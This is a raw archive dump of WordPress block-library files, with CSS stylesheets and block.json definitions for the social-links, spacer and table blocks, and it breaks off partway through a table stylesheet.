.wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;order:2;padding-left:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-delay:0s;transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}blocks/social-links/style-rtl.css000064400000025512151202620300013056 0ustar00.wp-block-social-links{ background:none; box-sizing:border-box; margin-right:0; padding-left:0; padding-right:0; text-indent:0; } .wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{ border-bottom:0; box-shadow:none; text-decoration:none; } .wp-block-social-links .wp-social-link a{ padding:.25em; } .wp-block-social-links .wp-social-link svg{ height:1em; width:1em; } .wp-block-social-links .wp-social-link span:not(.screen-reader-text){ font-size:.65em; margin-left:.5em; margin-right:.5em; } .wp-block-social-links.has-small-icon-size{ font-size:16px; } .wp-block-social-links,.wp-block-social-links.has-normal-icon-size{ font-size:24px; } .wp-block-social-links.has-large-icon-size{ font-size:36px; } .wp-block-social-links.has-huge-icon-size{ font-size:48px; } .wp-block-social-links.aligncenter{ display:flex; justify-content:center; } .wp-block-social-links.alignright{ justify-content:flex-end; } .wp-block-social-link{ border-radius:9999px; display:block; height:auto; transition:transform .1s ease; } @media (prefers-reduced-motion:reduce){ .wp-block-social-link{ transition-delay:0s; transition-duration:0s; } } .wp-block-social-link a{ align-items:center; display:flex; line-height:0; transition:transform .1s ease; } .wp-block-social-link:hover{ transform:scale(1.1); } .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited{ fill:currentColor; color:currentColor; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link{ background-color:#f0f0f0; color:#444; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{ background-color:#f90; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{ background-color:#1ea0c3; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{ background-color:#0757fe; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{ background-color:#1e1f26; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{ background-color:#02e49b; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{ background-color:#e94c89; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{ background-color:#4280ff; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{ background-color:#f45800; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{ background-color:#1778f2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{ background-color:#000; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{ background-color:#0461dd; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{ background-color:#e65678; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{ background-color:#24292d; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{ background-color:#eceadd; color:#382110; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{ background-color:#ea4434; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{ background-color:#f00075; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{ background-color:#e21b24; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{ background-color:#0d66c2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{ background-color:#3288d4; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{ background-color:#02ab6c; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{ background-color:#f6405f; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{ background-color:#ff424d; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{ background-color:#e60122; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{ background-color:#ef4155; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{ background-color:#ff4500; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{ background-color:#0478d7; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{ stroke:#000; background-color:#fefc00; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{ background-color:#ff5600; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{ background-color:#1bd760; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{ background-color:#2aabee; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{ background-color:#000; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{ background-color:#011835; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{ background-color:#6440a4; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{ background-color:#1da1f2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{ background-color:#1eb7ea; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{ background-color:#4680c2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{ background-color:#3499cd; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{ background-color:#25d366; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{ background-color:#000; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{ background-color:#d32422; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{ background-color:red; color:#fff; } .wp-block-social-links.is-style-logos-only .wp-social-link{ background:none; } .wp-block-social-links.is-style-logos-only .wp-social-link a{ padding:0; } .wp-block-social-links.is-style-logos-only .wp-social-link svg{ height:1.25em; width:1.25em; } .wp-block-social-links.is-style-logos-only .wp-social-link-amazon{ color:#f90; } .wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{ color:#1ea0c3; } .wp-block-social-links.is-style-logos-only .wp-social-link-behance{ color:#0757fe; } .wp-block-social-links.is-style-logos-only .wp-social-link-codepen{ color:#1e1f26; } .wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{ color:#02e49b; } .wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{ color:#e94c89; } .wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{ color:#4280ff; } .wp-block-social-links.is-style-logos-only .wp-social-link-etsy{ color:#f45800; } .wp-block-social-links.is-style-logos-only .wp-social-link-facebook{ color:#1778f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{ color:#000; } .wp-block-social-links.is-style-logos-only .wp-social-link-flickr{ color:#0461dd; } .wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{ color:#e65678; } .wp-block-social-links.is-style-logos-only .wp-social-link-github{ color:#24292d; } .wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{ color:#382110; } .wp-block-social-links.is-style-logos-only .wp-social-link-google{ color:#ea4434; } .wp-block-social-links.is-style-logos-only .wp-social-link-instagram{ color:#f00075; } .wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{ color:#e21b24; } .wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{ color:#0d66c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{ color:#3288d4; } .wp-block-social-links.is-style-logos-only .wp-social-link-medium{ color:#02ab6c; } .wp-block-social-links.is-style-logos-only .wp-social-link-meetup{ color:#f6405f; } .wp-block-social-links.is-style-logos-only .wp-social-link-patreon{ color:#ff424d; } .wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{ color:#e60122; } .wp-block-social-links.is-style-logos-only .wp-social-link-pocket{ color:#ef4155; } .wp-block-social-links.is-style-logos-only .wp-social-link-reddit{ color:#ff4500; } .wp-block-social-links.is-style-logos-only .wp-social-link-skype{ color:#0478d7; } .wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{ stroke:#000; color:#fff; } .wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{ color:#ff5600; } .wp-block-social-links.is-style-logos-only .wp-social-link-spotify{ color:#1bd760; } .wp-block-social-links.is-style-logos-only .wp-social-link-telegram{ color:#2aabee; } .wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{ color:#000; } .wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{ color:#011835; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitch{ color:#6440a4; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitter{ color:#1da1f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{ color:#1eb7ea; } .wp-block-social-links.is-style-logos-only .wp-social-link-vk{ color:#4680c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{ color:#25d366; } .wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{ color:#3499cd; } .wp-block-social-links.is-style-logos-only .wp-social-link-x{ color:#000; } .wp-block-social-links.is-style-logos-only .wp-social-link-yelp{ color:#d32422; } .wp-block-social-links.is-style-logos-only .wp-social-link-youtube{ color:red; } .wp-block-social-links.is-style-pill-shape .wp-social-link{ width:auto; } .wp-block-social-links.is-style-pill-shape .wp-social-link a{ padding-left:.66667em; padding-right:.66667em; } .wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{ color:#000; }blocks/social-links/style.css000064400000025511151202620300012256 0ustar00.wp-block-social-links{ background:none; box-sizing:border-box; margin-left:0; padding-left:0; padding-right:0; text-indent:0; } .wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{ border-bottom:0; box-shadow:none; text-decoration:none; } .wp-block-social-links .wp-social-link a{ padding:.25em; } .wp-block-social-links .wp-social-link svg{ height:1em; width:1em; } .wp-block-social-links .wp-social-link span:not(.screen-reader-text){ font-size:.65em; margin-left:.5em; margin-right:.5em; } .wp-block-social-links.has-small-icon-size{ font-size:16px; } .wp-block-social-links,.wp-block-social-links.has-normal-icon-size{ font-size:24px; } .wp-block-social-links.has-large-icon-size{ font-size:36px; } .wp-block-social-links.has-huge-icon-size{ font-size:48px; } .wp-block-social-links.aligncenter{ display:flex; justify-content:center; } .wp-block-social-links.alignright{ justify-content:flex-end; } .wp-block-social-link{ border-radius:9999px; display:block; height:auto; transition:transform .1s ease; } @media (prefers-reduced-motion:reduce){ .wp-block-social-link{ transition-delay:0s; transition-duration:0s; } } .wp-block-social-link a{ align-items:center; display:flex; line-height:0; transition:transform .1s ease; } .wp-block-social-link:hover{ transform:scale(1.1); } .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited{ fill:currentColor; color:currentColor; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link{ background-color:#f0f0f0; color:#444; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{ background-color:#f90; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{ background-color:#1ea0c3; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{ background-color:#0757fe; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{ background-color:#1e1f26; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{ background-color:#02e49b; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{ background-color:#e94c89; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{ background-color:#4280ff; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{ background-color:#f45800; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{ background-color:#1778f2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{ background-color:#000; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{ background-color:#0461dd; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{ background-color:#e65678; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{ background-color:#24292d; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{ background-color:#eceadd; color:#382110; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{ background-color:#ea4434; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{ background-color:#f00075; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{ background-color:#e21b24; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{ background-color:#0d66c2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{ background-color:#3288d4; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{ background-color:#02ab6c; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{ background-color:#f6405f; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{ background-color:#ff424d; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{ background-color:#e60122; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{ background-color:#ef4155; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{ background-color:#ff4500; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{ background-color:#0478d7; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{ stroke:#000; background-color:#fefc00; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{ background-color:#ff5600; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{ background-color:#1bd760; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{ background-color:#2aabee; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{ background-color:#000; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{ background-color:#011835; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{ background-color:#6440a4; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{ background-color:#1da1f2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{ background-color:#1eb7ea; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{ background-color:#4680c2; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{ background-color:#3499cd; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{ background-color:#25d366; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{ background-color:#000; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{ background-color:#d32422; color:#fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{ background-color:red; color:#fff; } .wp-block-social-links.is-style-logos-only .wp-social-link{ background:none; } .wp-block-social-links.is-style-logos-only .wp-social-link a{ padding:0; } .wp-block-social-links.is-style-logos-only .wp-social-link svg{ height:1.25em; width:1.25em; } .wp-block-social-links.is-style-logos-only .wp-social-link-amazon{ color:#f90; } .wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{ color:#1ea0c3; } .wp-block-social-links.is-style-logos-only .wp-social-link-behance{ color:#0757fe; } .wp-block-social-links.is-style-logos-only .wp-social-link-codepen{ color:#1e1f26; } .wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{ color:#02e49b; } .wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{ color:#e94c89; } .wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{ color:#4280ff; } .wp-block-social-links.is-style-logos-only .wp-social-link-etsy{ color:#f45800; } .wp-block-social-links.is-style-logos-only .wp-social-link-facebook{ color:#1778f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{ color:#000; } .wp-block-social-links.is-style-logos-only .wp-social-link-flickr{ color:#0461dd; } .wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{ color:#e65678; } .wp-block-social-links.is-style-logos-only .wp-social-link-github{ color:#24292d; } .wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{ color:#382110; } .wp-block-social-links.is-style-logos-only .wp-social-link-google{ color:#ea4434; } .wp-block-social-links.is-style-logos-only .wp-social-link-instagram{ color:#f00075; } .wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{ color:#e21b24; } .wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{ color:#0d66c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{ color:#3288d4; } .wp-block-social-links.is-style-logos-only .wp-social-link-medium{ color:#02ab6c; } .wp-block-social-links.is-style-logos-only .wp-social-link-meetup{ color:#f6405f; } .wp-block-social-links.is-style-logos-only .wp-social-link-patreon{ color:#ff424d; } .wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{ color:#e60122; } .wp-block-social-links.is-style-logos-only .wp-social-link-pocket{ color:#ef4155; } .wp-block-social-links.is-style-logos-only .wp-social-link-reddit{ color:#ff4500; } .wp-block-social-links.is-style-logos-only .wp-social-link-skype{ color:#0478d7; } .wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{ stroke:#000; color:#fff; } .wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{ color:#ff5600; } .wp-block-social-links.is-style-logos-only .wp-social-link-spotify{ color:#1bd760; } .wp-block-social-links.is-style-logos-only .wp-social-link-telegram{ color:#2aabee; } .wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{ color:#000; } .wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{ color:#011835; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitch{ color:#6440a4; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitter{ color:#1da1f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{ color:#1eb7ea; } .wp-block-social-links.is-style-logos-only .wp-social-link-vk{ color:#4680c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{ color:#25d366; } .wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{ color:#3499cd; } .wp-block-social-links.is-style-logos-only .wp-social-link-x{ color:#000; } .wp-block-social-links.is-style-logos-only .wp-social-link-yelp{ color:#d32422; } .wp-block-social-links.is-style-logos-only .wp-social-link-youtube{ color:red; } .wp-block-social-links.is-style-pill-shape .wp-social-link{ width:auto; } .wp-block-social-links.is-style-pill-shape .wp-social-link a{ padding-left:.66667em; padding-right:.66667em; } .wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{ color:#000; }blocks/spacer/block.json000064400000000375151202620300011257 0ustar00{ "apiVersion": 2, "name": "core/spacer", "category": "design", "attributes": { "height": { "type": "number", "default": 100 } }, "supports": { "anchor": true }, "editorStyle": "wp-block-spacer-editor", "style": "wp-block-spacer" } blocks/spacer/editor.min.css000064400000001655151202620300012056 0ustar00.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:rgba(0,0,0,.1)}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:hsla(0,0%,100%,.15)}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{margin-bottom:0}blocks/spacer/style-rtl.min.css000064400000000034151202620300012515 0ustar00.wp-block-spacer{clear:both}blocks/spacer/editor.css000064400000001762151202620300011273 0ustar00.block-editor-block-list__block[data-type="core/spacer"]:before{ content:""; display:block; height:100%; min-height:8px; min-width:8px; position:absolute; width:100%; z-index:1; } .block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{ background:rgba(0,0,0,.1); } .is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{ background:hsla(0,0%,100%,.15); } .block-library-spacer__resize-container{ clear:both; } .block-library-spacer__resize-container:not(.is-resizing){ height:100% !important; width:100% !important; } .block-library-spacer__resize-container .components-resizable-box__handle:before{ content:none; } .block-library-spacer__resize-container.resize-horizontal{ margin-bottom:0; }blocks/spacer/style.min.css000064400000000034151202620300011716 0ustar00.wp-block-spacer{clear:both}blocks/spacer/editor-rtl.css000064400000001762151202620300012072 0ustar00.block-editor-block-list__block[data-type="core/spacer"]:before{ content:""; display:block; height:100%; min-height:8px; min-width:8px; position:absolute; width:100%; z-index:1; } .block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{ background:rgba(0,0,0,.1); } .is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{ background:hsla(0,0%,100%,.15); } .block-library-spacer__resize-container{ clear:both; } .block-library-spacer__resize-container:not(.is-resizing){ height:100% !important; width:100% !important; } .block-library-spacer__resize-container .components-resizable-box__handle:before{ content:none; } .block-library-spacer__resize-container.resize-horizontal{ margin-bottom:0; }blocks/spacer/editor-rtl.min.css000064400000001655151202620300012655 0ustar00.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:rgba(0,0,0,.1)}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:hsla(0,0%,100%,.15)}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{margin-bottom:0}blocks/spacer/style-rtl.css000064400000000041151202620300011731 0ustar00.wp-block-spacer{ clear:both; }blocks/spacer/style.css000064400000000041151202620300011132 0ustar00.wp-block-spacer{ clear:both; }blocks/table/block.json000064400000004621151202620300011067 0ustar00{ "apiVersion": 2, "name": "core/table", "category": "text", "attributes": { "hasFixedLayout": { "type": "boolean", "default": false }, "backgroundColor": { "type": "string" }, "caption": { "type": "string", "source": "html", "selector": "figcaption", "default": "" }, "head": { "type": "array", "default": [], "source": "query", "selector": "thead tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } }, "body": { "type": "array", "default": [], "source": "query", "selector": "tbody tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } }, "foot": { "type": "array", "default": [], "source": "query", "selector": "tfoot tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } } }, "supports": { "anchor": true, "align": true, "__experimentalSelector": ".wp-block-table > table" }, "editorStyle": "wp-block-table-editor", "style": "wp-block-table" } blocks/table/editor.min.css000064400000003340151202620300011661 0ustar00.wp-block-table{margin:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:0}}.blocks-table__placeholder-input{margin-bottom:0;margin-right:8px;width:112px}.blocks-table__placeholder-input input{height:36px}blocks/table/style-rtl.min.css000064400000007443151202620300012342 0ustar00.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:transparent;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody 